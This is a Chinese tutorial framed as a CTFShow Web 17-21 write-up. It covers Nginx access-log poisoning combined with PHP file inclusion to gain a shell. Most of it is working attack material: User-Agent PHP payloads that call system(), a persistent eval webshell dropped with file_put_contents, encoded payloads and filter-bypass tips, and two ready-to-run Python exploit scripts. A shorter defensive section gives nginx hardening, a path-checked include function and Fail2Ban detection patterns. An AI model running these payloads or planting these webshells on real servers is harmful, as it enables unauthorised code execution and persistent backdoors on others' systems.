CTFShow 萌新区 Web 17-21 通解:Nginx 日志包含漏洞利用与 3 步 Getshell
📅 2026/7/13 2:05:28
👁️ 阅读次数
📝 编程学习
Nginx日志文件包含漏洞深度利用:从注入到Getshell的完整攻击链
1. 漏洞原理与Nginx日志机制解析
Nginx作为主流Web服务器,其访问日志(access.log)默认记录所有客户端请求信息。当PHP应用存在文件包含漏洞且未正确配置日志路径时,攻击者可通过污染日志内容实现代码注入。
日志记录关键字段:
$remote_addr- 客户端IP$request- 请求行(GET/POST等)$status- 响应状态码$http_user_agent- 用户代理(常被忽略的安全盲区)
典型漏洞触发条件:
- PHP应用使用
include/require等函数动态包含文件 - 包含路径参数未严格过滤(如
?file=/var/log/nginx/access.log) - Nginx日志对运行用户可读
# 默认Nginx日志格式示例 log_format main '$remote_addr - $remote_user [$time_local] ' '"$request" $status $body_bytes_sent ' '"$http_referer" "$http_user_agent"';警告:日志文件通常包含敏感信息,生产环境应严格限制访问权限
2. 攻击步骤拆解
2.1 日志路径探测
常见Nginx日志存储位置:
/var/log/nginx/access.log /usr/local/nginx/logs/access.log /opt/nginx/logs/access.log ../nginx/logs/access.log快速验证方法:
curl "http://target.com/?file=/var/log/nginx/access.log"2.2 污染日志内容
通过精心构造User-Agent注入PHP代码:
GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']);?>验证注入效果:
curl "http://target.com/?file=/var/log/nginx/access.log&cmd=id"2.3 持久化Webshell写入
为避免重复污染日志,建议写入持久化后门:
GET /shell.php HTTP/1.1 Host: target.com User-Agent: <?php file_put_contents('shell.php','<?php eval($_POST[x]);?>');关键技巧:
- 使用单行PHP代码避免日志换行干扰
- 优先选择可写目录(/tmp、/var/tmp等)
- 多次URL编码绕过基础过滤
3. 高级绕过技术
3.1 日志语法污染处理
Nginx日志会自动转义特殊字符,需注意:
| 原始字符 | 日志记录形式 | PHP解析效果 |
|---|---|---|
| <?php | <?php | 正常 |
| ?> | ?> | 正常 |
| " | " | 破坏语法 |
| ' | ' | 破坏语法 |
解决方案:
<?php system($_GET[0]); // 避免引号3.2 多阶段编码注入
当直接注入失败时尝试:
- Base64编码:
User-Agent: <?php eval(base64_decode('c3lzdGVtKCdpZCcpOw=='))?>- 十六进制编码:
User-Agent: <?= \x73\x79\x73\x74\x65\x6d($_GET[0]) ?>3.3 自动化攻击脚本
import requests import urllib.parse TARGET = "http://victim.com" LOG_PATH = "/var/log/nginx/access.log" SHELL_NAME = "backdoor.php" # 步骤1:污染日志 payload = f"<?php file_put_contents('{SHELL_NAME}','<?php eval($_POST[0]);?>');?>" requests.get(TARGET, headers={"User-Agent": payload}) # 步骤2:触发包含 resp = requests.get(f"{TARGET}/?file={LOG_PATH}") if "Warning" not in resp.text: print("[+] 注入成功!") # 步骤3:验证Webshell shell_url = f"{TARGET}/{SHELL_NAME}" resp = requests.post(shell_url, data={"0": "echo md5(123);"}) if "202cb962ac59075b964b07152d234b70" in resp.text: print(f"[+] Webshell激活: {shell_url}")4. 防御与检测方案
4.1 安全防护措施
服务器配置:
# nginx.conf 安全设置 server { location ~* \.php$ { fastcgi_param PHP_ADMIN_VALUE "open_basedir=/var/www:/tmp"; fastcgi_param PHP_VALUE "disable_functions=exec,passthru,shell_exec,system"; } location ^~ /logs/ { deny all; } }PHP防护代码:
// 安全包含函数 function safe_include($path) { $allowed = ['/var/www/templates/']; $realpath = realpath($path); foreach($allowed as $prefix) { if(strpos($realpath, $prefix) === 0) { return include($realpath); } } throw new Exception("非法文件包含尝试"); }4.2 入侵检测指标
日志监控关键词:
<?phpin User-Agentsystem(in request URI- 异常文件包含尝试
示例检测规则:
# Fail2Ban规则 [nginx-php-injection] enabled = true filter = nginx-php-inject logpath = /var/log/nginx/access.log maxretry = 3 bantime = 3600 # 对应filter正则 ^\d+\.\d+\.\d+\.\d+.*"(GET|POST).*<\?php5. 实战案例:CTFShow Web17-21完整利用
环境特征:
- PHP文件包含漏洞参数:
?file= - Nginx日志路径已知
- 目标flag位置:
/flag
攻击流程:
- 确定日志路径:
GET /?file=/var/log/nginx/access.log HTTP/1.1- 注入执行代码:
curl -A "<?php system('cat /flag');?>" http://target.com/- 触发包含获取flag:
GET /?file=/var/log/nginx/access.log HTTP/1.1自动化脚本:
import requests def exploit(target): s = requests.Session() # 污染日志 s.get(target, headers={"User-Agent": "<?php system($_GET[0]);?>"}) # 触发执行 resp = s.get(f"{target}?file=/var/log/nginx/access.log&0=cat%20/flag") print(resp.text.split('\n')[-2]) # 提取flag exploit("http://ctf.show/challenge/")
编程学习
技术分享
实战经验